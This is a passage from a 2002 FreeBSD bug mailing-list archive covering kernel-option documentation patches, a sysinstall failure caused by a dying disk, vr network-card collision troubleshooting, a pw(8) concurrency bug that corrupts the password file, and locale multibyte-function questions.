2002 09:20:29 -0500 (EST) (envelope-from hiten) Message-Id: <200203081420.g28EKTc25427@pittgoth.com> Date: Fri, 8 Mar 2002 09:20:29 -0500 (EST) From: Hiten Pandya Reply-To: Hiten Pandya To: FreeBSD-gnats-submit@freebsd.org Cc: hitmaster2k@yahoo.com X-Send-Pr-Version: 3.113 Subject: conf/35674: [PATCH] - Documenting kernel options (5.0-CURRENT) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35674 >Category: conf >Synopsis: [PATCH] - Documenting kernel options (5.0-CURRENT) >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: update >Submitter-Id: current-users >Arrival-Date: Fri Mar 08 06:20:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Hiten Pandya >Release: FreeBSD 4.5-RELEASE i386 >Organization: >Environment: System: FreeBSD pittgoth.com 4.5-RELEASE FreeBSD 4.5-RELEASE #2: Thu Feb 21 23:00:49 EST 2002 root@pittgoth.com:/usr/src/sys/compile/PITTGOTH i386 >Description: The below patch, will close PR docs/32825, and also documents the PFIL_HOOKS option, which is currently undocumented. The PFIL_HOOKS definition was provided on the cvs-all@ and the cvs-committers@ list, by cjc@ and Darren Reed. I suggest keeping this PR open, as I have some more options in the NOTES file to document. Probably the patches can be applied and a follow-up can be sent acknowledging the PR, but not closing it. :) >How-To-Repeat: n/a >Fix: (kindly) Apply this patch to src/sys/i386/conf/NOTES. =================================================================== RCS file: RCS/NOTES,v retrieving revision 1.1 diff -u -r1.1 NOTES --- NOTES 2002/03/06 18:14:59 1.1 +++ NOTES 2002/03/08 11:39:44 @@ -248,6 +248,15 @@ # which indicates that the 15-16MB range is *definitely* not being # occupied by an ISA memory hole. # +# CLK_CALIBRATION_LOOP will run the clock calibration loop at startup +# until the user presses a key. +# +# The following two options measure the frequency of the corresponding +# clock relative to the RTC (onboard mc146818a): +# +# - CLK_USE_I8254_CALIBRATION +# - CLK_USE_TSC_CALIBRATION +# # NOTE 1: The options, CPU_BTB_EN, CPU_LOOP_EN, CPU_IORT, # CPU_LOOP_EN and CPU_RSTK_EN should not be used because of CPU bugs. # These options may crash your system. @@ -279,7 +288,9 @@ options CYRIX_CACHE_WORKS options CYRIX_CACHE_REALLY_WORKS #options NO_F00F_HACK - +options CLK_CALIBRATION_LOOP +options CLK_USE_I8254_CALIBRATION +options CLK_USE_TSC_CALIBRATION # # A math emulator is mandatory if you wish to run on hardware which # does not have a floating-point processor. Pick either the original, @@ -651,8 +662,13 @@ # BRIDGE enables bridging between ethernet cards -- see bridge(4). # You can use IPFIREWALL and DUMMYNET together with bridging. # +# PFIL_HOOKS (when enable) is an abstract layer meant to be used in +# network code where filtering is required. See the pfil(9) reference +# page. This option is a subset of the IPFILTER option. +# options DUMMYNET options BRIDGE +options PFIL_HOOKS # # ATM (HARP version) options @@ -3045,8 +3061,6 @@ options NETGRAPH_BRIDGE options NETSMB options NETSMBCRYPTO -# PFIL_HOOKS has no effect here since it is a subset of IPFILTER. -options PFIL_HOOKS # SIMOS is broken since it is alpha-only but not ifdefed. ##options SIMOS options SMBFS >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 8: 2:55 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 5930237B402; Fri, 8 Mar 2002 08:02:52 -0800 (PST) Received: (from rwatson@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g28G2ZR14233; Fri, 8 Mar 2002 08:02:35 -0800 (PST) (envelope-from rwatson) Date: Fri, 8 Mar 2002 08:02:35 -0800 (PST) From: Message-Id: <200203081602.g28G2ZR14233@freefall.freebsd.org> To: rwatson@FreeBSD.org, freebsd-bugs@FreeBSD.org, rwatson@FreeBSD.org Subject: Re: conf/35674: [PATCH] - Documenting kernel options (5.0-CURRENT) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: [PATCH] - Documenting kernel options (5.0-CURRENT) Responsible-Changed-From-To: freebsd-bugs->rwatson Responsible-Changed-By: rwatson Responsible-Changed-When: Fri Mar 8 08:01:11 PST 2002 Responsible-Changed-Why: Once an updated patch is generated, I'll be happy to commit this. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35674 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 8:30:27 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 00FCC37B417 for ; Fri, 8 Mar 2002 08:30:03 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g28GU3p21865; Fri, 8 Mar 2002 08:30:03 -0800 (PST) (envelope-from gnats) Date: Fri, 8 Mar 2002 08:30:03 -0800 (PST) Message-Id: <200203081630.g28GU3p21865@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Peter Pentchev Subject: Re: i386/35625: sysinstall signal 11 when writing partition table during install Reply-To: Peter Pentchev Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR i386/35625; it has been noted by GNATS. From: Peter Pentchev To: bug-followup@FreeBSD.org Cc: Subject: Re: i386/35625: sysinstall signal 11 when writing partition table during install Date: Fri, 8 Mar 2002 18:24:22 +0200 Forward a message from the originator into the audit trail (Bryan would have done this himself, but his ISP does not provide reverse resolving, so the FreeBSD cluster does not accept mail from him..) G'luck, Peter -- Peter Pentchev roam@ringlet.net roam@FreeBSD.org PGP key: http://people.FreeBSD.org/~roam/roam.key.asc Key fingerprint FDBA FD79 C26F 3C51 C95E DF9E ED18 B68D 1619 4553 Thit sentence is not self-referential because "thit" is not a word. ----- Forwarded message from bryan collins ----- X-Sender: bryan@whaite.com Date: Fri, 08 Mar 2002 00:20:58 +1100 To: Peter Pentchev From: bryan collins Subject: Re: i386/35625: sysinstall signal 11 when writing partition table during install In-Reply-To: <20020307131116.A4731@straylight.oblivion.bg> Yes you are correct. Please accept my apologies for the false alarm. 2 out of 3 disks, you'd never guess. Ugh. Its still odd, I can boot the current OS's on those disks, however I cant seem to write a valid partition table. Sorry again for wasting your time. Thanks for your response. Bry >There may certainly be a problem with sysinstall insomuch as it does not >process the errors returned by the kernel. However, the above messages >suggest that your problem lies mainly with the hard disc drive: those >'hard error' and 'I/O error' messages surely point to a disc dying or dead. > >Possible workarounds include installing FreeBSD into a smaller portion >of the disc, one without physical media errors, or buying a whole new >drive.. > >G'luck, >Peter ----- End forwarded message ----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 8:42:59 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id EB4A137B419; Fri, 8 Mar 2002 08:42:52 -0800 (PST) Received: (from roam@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g28GYP322456; Fri, 8 Mar 2002 08:34:25 -0800 (PST) (envelope-from roam) Date: Fri, 8 Mar 2002 08:34:25 -0800 (PST) From: Message-Id: <200203081634.g28GYP322456@freefall.freebsd.org> To: bryan@whaite.com, roam@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: i386/35625: sysinstall signal 11 when writing partition table during install Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: sysinstall signal 11 when writing partition table during install State-Changed-From-To: open->closed State-Changed-By: roam State-Changed-When: Fri Mar 8 08:33:26 PST 2002 State-Changed-Why: Although one might argue that sysinstall is partially at fault here for failing to notice a problem, the main problem was repoted by the kernel - it turned out to be a hard disc drive going bad. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35625 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 9: 0:10 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 0C79E37B416 for ; Fri, 8 Mar 2002 09:00:03 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g28H02q26979; Fri, 8 Mar 2002 09:00:02 -0800 (PST) (envelope-from gnats) Date: Fri, 8 Mar 2002 09:00:02 -0800 (PST) Message-Id: <200203081700.g28H02q26979@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Thomas Quinot Subject: Re: kern/35635: [patch] missing dep in libiconv prevents parallel build Reply-To: Thomas Quinot Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR kern/35635; it has been noted by GNATS. From: Thomas Quinot To: Bruce Evans Cc: bug-followup@freebsd.org Subject: Re: kern/35635: [patch] missing dep in libiconv prevents parallel build Date: Fri, 8 Mar 2002 17:56:17 +0100 Le 2002-03-08, Bruce Evans écrivait : > The ugly explicit rules are required because the default rules use > @/kern/makeops.pl which generates slightly different files. Perhaps > this should be fixed instead. Well, if I read makeops.pl correctly, all it does is check whether the file named on its command line contains the string KOBJ on the first line, and then call either makeobjops or makedevops depending on that. If '# KOBJ' is added as the first line of iconv_converter_if.m, then calling makeops produces exactly the same output as makeobjops, and therefore the explicit rules can be removed. Unfortunately, I do not know what other side effects that change to iconv_converter_if.m could have. Thomas. -- Thomas.Quinot@Cuivre.FR.EU.ORG To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 9:10: 8 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 6F18437B416 for ; Fri, 8 Mar 2002 09:10:01 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g28HA1u32684; Fri, 8 Mar 2002 09:10:01 -0800 (PST) (envelope-from gnats) Received: from davinci.isds.duke.edu (davinci.isds.duke.edu [152.3.22.1]) by hub.freebsd.org (Postfix) with ESMTP id 97C5937B402 for ; Fri, 8 Mar 2002 09:08:07 -0800 (PST) Received: from floyd.isds.duke.edu (floyd.isds.duke.edu [152.3.22.120]) by davinci.isds.duke.edu (8.11.6/8.11.6) with ESMTP id g28H86i03285 for ; Fri, 8 Mar 2002 12:08:07 -0500 (EST) Received: (from vangyzen@localhost) by floyd.isds.duke.edu (8.11.6/8.11.6) id g28H86N86883; Fri, 8 Mar 2002 12:08:06 -0500 (EST) (envelope-from vangyzen) Message-Id: <200203081708.g28H86N86883@floyd.isds.duke.edu> Date: Fri, 8 Mar 2002 12:08:06 -0500 (EST) From: "Eric S. Van Gyzen" Reply-To: "Eric S. Van Gyzen" To: FreeBSD-gnats-submit@freebsd.org X-Send-Pr-Version: 3.113 Subject: bin/35679: file(1) does not identify OSF/1 binaries Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org >Number: 35679 >Category: bin >Synopsis: file(1) does not identify OSF/1 binaries >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Mar 08 09:10:01 PST 2002 >Closed-Date: >Last-Modified: >Originator: Eric S. Van Gyzen >Release: FreeBSD 4.4-STABLE alpha >Organization: >Environment: System: FreeBSD howard.isds.duke.edu 4.4-STABLE FreeBSD 4.4-STABLE #1: Fri Jan 4 14:54:56 EST 2002 vangyzen@robespierre.isds.duke.edu:/usr/obj/sys/compile/PWS alpha >Description: file(1) reports that an OSF1 binary is a "DBase 3 data file with memo(s) (923937358 records)" though it in fact is not. :] >How-To-Repeat: % file /compat/osf1/sbin/loader /compat/osf1/sbin/loader: DBase 3 data file with memo(s) (923937358 records) >Fix: Modify (reorder?) /usr/share/misc/magic >Release-Note: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 9:37:22 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from tomts6-srv.bellnexxia.net (tomts6.bellnexxia.net [209.226.175.26]) by hub.freebsd.org (Postfix) with ESMTP id D385837B419; Fri, 8 Mar 2002 09:37:15 -0800 (PST) Received: from khan.anarcat.dyndns.org ([65.94.191.9]) by tomts6-srv.bellnexxia.net (InterMail vM.4.01.03.23 201-229-121-123-20010418) with ESMTP id <20020308173715.ONFO9554.tomts6-srv.bellnexxia.net@khan.anarcat.dyndns.org>; Fri, 8 Mar 2002 12:37:15 -0500 Received: from anarcat.dyndns.org (lenny.anarcat.dyndns.org [192.168.0.4]) by khan.anarcat.dyndns.org (Postfix) with ESMTP id 65DCA18E1; Fri, 8 Mar 2002 12:37:11 -0500 (EST) Message-ID: <3C88F69F.3050608@anarcat.dyndns.org> Date: Fri, 08 Mar 2002 12:36:31 -0500 From: The Anarcat User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.8) Gecko/20020204 X-Accept-Language: en-us MIME-Version: 1.0 To: Mike Silbersack Cc: silby@FreeBSD.org, freebsd-bugs@FreeBSD.org, danny@clari.net.au Subject: Re: kern/35640: heavy collision rate hangs vr network interface References: <20020308003224.T3443-100000@patrocles.silby.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Daniel O'Callaghan added to CC: I'll answer both questions in the same email, since there's been information mispread. :) Mike Silbersack wrote: >On Thu, 7 Mar 2002, The Anarcat wrote: > >>>Of course, that doesn't explain the vr system locking up, but it >>>may be a good enough solution for you. >>> >>It's not fixing the problem. The collision rate is unchanged. >> >>Something I don't understand though... The collision rate isn't the same >>on the client and on the server... >> >>client: >> >> input (Total) output >> packets errs bytes packets errs bytes colls >> 467 0 30822 691 0 1061314 709 >> >>server: >> input (Total) output >> packets errs bytes packets errs bytes colls >> 711 0 1073558 512 0 31396 439 >> >> >> >>At any rate, this PR should be put back in the Open state, no? >> >>A. >> > >Ok, I moved the PR back to open > Good. >Have you investigated playing around with the duplex settings on the vr >interface? > I did, I think. But I will again test some more a bit later. The thing is I don't think is full-duplex anywhere. >Perhaps it has the same problem the rl driver had? > Possible, but the rl problem doesn't seem to be solved either. I'm not even sure the problem is due to the rl.. >Could you try hooking up the two machines with a crossover cable or a >100mbps hub to see if anything changes? > I did try to hook up the 2 machines with a crossover, with the same results. I never tried to push to connection to 100mbps, though. I guest I have some more tests to run. The problem is that this is now a production machine, so I am hesitant of pulling it off the network. Daniel O'Callaghan wrote: >>Same results before and after patching. The higher collision rate is due >>to the fact that the mesures are not the same on the server and the >>client (why?): >> >I thought collisions were detected by the transmitting end. Have you >tried a different hub? > No. I have no other hub to test with. The reports I first made were done with mesures taken on the server side. For some reason, the collision rate is not the same on the client side, it is higher there, which might indicate the source of the problem is the rl... >Hmm, strange. I don't think I saw anything like that here. I'll have to fire up an rl machine and check it out, though. > >The patch fixes the autosense operation in 10 Mbps. The workaround prior to patching was to manually set the media to UTP. > I figured that part before the patch already. When I connected the interface to the network the first time, autonegotiation was broken so I had to manually set media to UTP. The patch of course didn't change anything wrt that. :) I will test autonegotiation asap, though. > Obviously there is something different about your setup which is causing the collisions. >I'm not really a device driver guru. I just tested a patch which someone else submitted. I'll set up a test box and look at the collision rate, though. > I will try to pull the machine off the network (sigh) for a while and test: - crosslink connection at 10 and 100mbps - autosense on both ends Past this point, if behavior is the same, I'm ready to break into debugging on the vr interface. It should be easier than the rl since we have a mark when the interface stops working properly, the "watchdog timeout" message. A. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 9:44: 7 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from mail.a-znet.com (mail.a-znet.com [209.105.176.24]) by hub.freebsd.org (Postfix) with ESMTP id 5864E37B419 for ; Fri, 8 Mar 2002 09:44:03 -0800 (PST) Received: from ishell-new.eznet.net (ishell-new.eznet.net [209.105.154.5]) by mail.a-znet.com (8.9.3/8.9.3) with ESMTP id MAA28754 for ; Fri, 8 Mar 2002 12:43:55 -0500 Date: Fri, 8 Mar 2002 12:43:51 -0500 (EST) From: Daniel Sickels To: freebsd-bugs@FreeBSD.ORG Subject: bug in pw, freebsd 4.5 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Multiple instances of pw making chanegs at the same time cause some rather horrid things to happen. The master.passwd file can be quite badly corrupted, or pwd_mkdb can fail. This bug is easily reproducable with a 10000+ line master.passwd, using: pw useradd test1; pw userdel test1 ten times over in one process, and pw useradd test2; pw userdel test2 ten times over at the same time. -- Dan Sickels Network Operations eNVIZION INTERNET SOLUTIONS GROUP LTD To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 10:11:16 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id 223B237B404; Fri, 8 Mar 2002 10:11:09 -0800 (PST) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.11.4/8.11.6) id g28IB2t40133; Fri, 8 Mar 2002 13:11:02 -0500 (EST) (envelope-from wollman) Date: Fri, 8 Mar 2002 13:11:02 -0500 (EST) From: Garrett Wollman Message-Id: <200203081811.g28IB2t40133@khavrinen.lcs.mit.edu> To: Tomas Pluskal Cc: freebsd-i18n@FreeBSD.ORG, Subject: multibyte(3) functions not working ? In-Reply-To: <20020308134119.J214-100000@s096-n062.tele2.cz> References: <20020308134119.J214-100000@s096-n062.tele2.cz> Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org < said: > setlocale(LC_ALL, "cs_CZ.ISO8859-2"); > x=wctomb(s, 0x0161); You have specified a locale which does not have a multibyte encoding. If you want to use ISO 10646, you'll have to create a locale which specifies it. FreeBSD supports UTF-8 (under the obsolete name ``UTF-2''), but no locales are provided or supported which use that character set. You can translate between ISO 10646 and your locale's current character set, ISO 8859-2, using the iconv() library function. (This is not currently provided in FreeBSD, but the ports collection contains several librararies which implement it.) -GAWollman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 10:19:29 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from s096-n062.tele2.cz (s096-n062.tele2.cz [213.246.96.62]) by hub.freebsd.org (Postfix) with ESMTP id 6CCDA37B402; Fri, 8 Mar 2002 10:19:10 -0800 (PST) Received: from localhost (plusik@localhost) by s096-n062.tele2.cz (8.11.6/8.11.6) with ESMTP id g28IGrf01081; Fri, 8 Mar 2002 19:16:53 +0100 (CET) (envelope-from plusik@pohoda.cz) X-Authentication-Warning: s096-n062.tele2.cz: plusik owned process doing -bs Date: Fri, 8 Mar 2002 19:16:53 +0100 (CET) From: Tomas Pluskal X-X-Sender: plusik@s096-n062.tele2.cz To: Garrett Wollman Cc: freebsd-i18n@FreeBSD.ORG, Subject: Re: multibyte(3) functions not working ? In-Reply-To: <200203081811.g28IB2t40133@khavrinen.lcs.mit.edu> Message-ID: <20020308191246.H1072-100000@s096-n062.tele2.cz> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Fri, 8 Mar 2002, Garrett Wollman wrote: > > setlocale(LC_ALL, "cs_CZ.ISO8859-2"); > > x=wctomb(s, 0x0161); > > You have specified a locale which does not have a multibyte encoding. > > If you want to use ISO 10646, you'll have to create a locale which > specifies it. FreeBSD supports UTF-8 (under the obsolete name > ``UTF-2''), but no locales are provided or supported which use that > character set. You can translate between ISO 10646 and your locale's > current character set, ISO 8859-2, using the iconv() library > function. (This is not currently provided in FreeBSD, but the ports > collection contains several librararies which implement it.) Thanks for response, I know that ISO8859-2 is not multibyte encoding, but in fact gnumeric, gedit (and I believe a lot of other software) expect the multibyte functions to work anyway (and to work as "translate characters from current locale's encoding to UNICODE" and reverse). Why does this work in linux ? Tomas Pluskal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 10:26:16 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from tomts9-srv.bellnexxia.net (tomts9.bellnexxia.net [209.226.175.53]) by hub.freebsd.org (Postfix) with ESMTP id 9B88A37B426; Fri, 8 Mar 2002 10:26:00 -0800 (PST) Received: from khan.anarcat.dyndns.org ([65.94.191.9]) by tomts9-srv.bellnexxia.net (InterMail vM.4.01.03.23 201-229-121-123-20010418) with ESMTP id <20020308182559.RDLS3496.tomts9-srv.bellnexxia.net@khan.anarcat.dyndns.org>; Fri, 8 Mar 2002 13:25:59 -0500 Received: from lenny.anarcat.dyndns.org (lenny.anarcat.dyndns.org [192.168.0.4]) by khan.anarcat.dyndns.org (Postfix) with SMTP id C5E341AAB; Fri, 8 Mar 2002 13:25:56 -0500 (EST) Received: by lenny.anarcat.dyndns.org (sSMTP sendmail emulation); Fri, 8 Mar 2002 13:25:18 -0500 Date: Fri, 8 Mar 2002 13:25:18 -0500 From: The Anarcat To: Mike Silbersack Cc: silby@FreeBSD.org, freebsd-bugs@FreeBSD.org, Daniel O'Callaghan Subject: Re: kern/35640: heavy collision rate hangs vr network interface Message-ID: <20020308182518.GA261@lenny.anarcat.dyndns.org> References: <20020308021926.GB266@lenny.anarcat.dyndns.org> <20020308003224.T3443-100000@patrocles.silby.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="vkogqOf2sHV7VnPd" Content-Disposition: inline In-Reply-To: <20020308003224.T3443-100000@patrocles.silby.com> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org --vkogqOf2sHV7VnPd Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri Mar 08, 2002 at 12:37:51AM +0000, Mike Silbersack wrote: >=20 > Could you try hooking up the two machines with a crossover cable or a > 100mbps hub to see if anything changes? That was it. Linking the 2 boxes with a crosslink and putting both at autoselect makes them switch to 100baseTX.=20 On the client: input (Total) output packets errs bytes packets errs bytes colls 2027 0 133782 2382 0 3605108 0 I haven't bothered to check on the server, the results being obvious. So this means the patch on the rl works, since this (media autoselect) wasn't working before. But now I feel kind of bad, since there's got to be something I clearly misunderstand about the protocol. Both interfaces are capable of doing 10baseT/UTP. Why are they doing 100baseTX? Can't I run those in a 10baseT network??? Does this mean I must buy a 100baseTX hub? I still believe there is something wrong with the vr since it is something external to the server that made it freeze, so it's a kind of DOS. It shouldn't happen, IMHO. Thank you for your help. I'm still available to test my situation some more. A. --vkogqOf2sHV7VnPd Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjyJAg0ACgkQttcWHAnWiGf/LgCggKjhj03IYfg/zRirljB+F3rO JG8An1WdARhRB8aRpBG3U89+C871yf7e =ad+a -----END PGP SIGNATURE----- --vkogqOf2sHV7VnPd-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 11:13:39 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from patrocles.silby.com (d59.as26.nwbl0.wi.voyager.net [169.207.65.187]) by hub.freebsd.org (Postfix) with ESMTP id 3DBB237B41B for ; Fri, 8 Mar 2002 11:13:34 -0800 (PST) Received: from patrocles.silby.com (localhost [127.0.0.1]) by patrocles.silby.com (8.12.2/8.12.2) with ESMTP id g28DI0Nu008341; Fri, 8 Mar 2002 13:18:00 GMT (envelope-from silby@silby.com) Received: from localhost (silby@localhost) by patrocles.silby.com (8.12.2/8.12.2/Submit) with ESMTP id g28DHvHJ008338; Fri, 8 Mar 2002 13:17:57 GMT X-Authentication-Warning: patrocles.silby.com: silby owned process doing -bs Date: Fri, 8 Mar 2002 13:17:57 +0000 (GMT) From: Mike Silbersack To: The Anarcat Cc: freebsd-bugs@FreeBSD.org, "Daniel O'Callaghan" Subject: Re: kern/35640: heavy collision rate hangs vr network interface In-Reply-To: <20020308182518.GA261@lenny.anarcat.dyndns.org> Message-ID: <20020308130845.K8029-100000@patrocles.silby.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Fri, 8 Mar 2002, The Anarcat wrote: > That was it. Linking the 2 boxes with a crosslink and putting > both at autoselect makes them switch to 100baseTX. > So this means the patch on the rl works, since this (media autoselect) > wasn't working before. > > But now I feel kind of bad, since there's got to be something I clearly > misunderstand about the protocol. > > Both interfaces are capable of doing 10baseT/UTP. Why are they doing > 100baseTX? Can't I run those in a 10baseT network??? Does this mean I > must buy a 100baseTX hub? There are four possible configurations: 10baseT - half duplex 10baseT - full duplex 100baseTX - half duplex 100baseTX - full duplex My best guess is that the vr card isn't autoselecting 10baseT - half duplex correctly. Unfortunately, I don't have any vr cards here, so I wouldn't be able to help you much in working on that. Perhaps it's worth sending a message to -questions or -stable asking if anyone has the same network card you do and if they have used it on a 10baseT network. Buying a 100baseTX switch sounds like it would solve your problem, but I'm not sure that's the most efficient way to solve the problem. If you know that the vr card is to blame, perhaps you could try replacing it with a different NIC to see if that solves the problem temporarily. > I still believe there is something wrong with the vr since it is > something external to the server that made it freeze, so it's a kind of > DOS. It shouldn't happen, IMHO. If the duplex is being negotiated incorrectly, I wouldn't be surprised that the network card is acting very strangely. That being said, I see a few problem reports already filed about the vr cards... there's probably a driver bug in there. So, ask around on -questions and -stable, maybe someone else has a fix. Mike "Silby" Silbersack To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 12:22:56 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id BE1F537B402; Fri, 8 Mar 2002 12:22:52 -0800 (PST) Received: (from cjc@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g28KEGd73319; Fri, 8 Mar 2002 12:14:16 -0800 (PST) (envelope-from cjc) Date: Fri, 8 Mar 2002 12:14:16 -0800 (PST) From: Message-Id: <200203082014.g28KEGd73319@freefall.freebsd.org> To: Smatus01@yahoo.com, cjc@FreeBSD.org, freebsd-bugs@FreeBSD.org Subject: Re: i386/35564: invoking 'vi' from 4.5-RELEASE issues the following msg and fails to run. Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Synopsis: invoking 'vi' from 4.5-RELEASE issues the following msg and fails to run. State-Changed-From-To: open->feedback State-Changed-By: cjc State-Changed-When: Fri Mar 8 12:13:28 PST 2002 State-Changed-Why: Waiting for more details from submitter. I have been unable to reproduce the problem. http://www.FreeBSD.org/cgi/query-pr.cgi?pr=35564 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri Mar 8 13:10:21 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 446E237B436 for ; Fri, 8 Mar 2002 13:10:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org 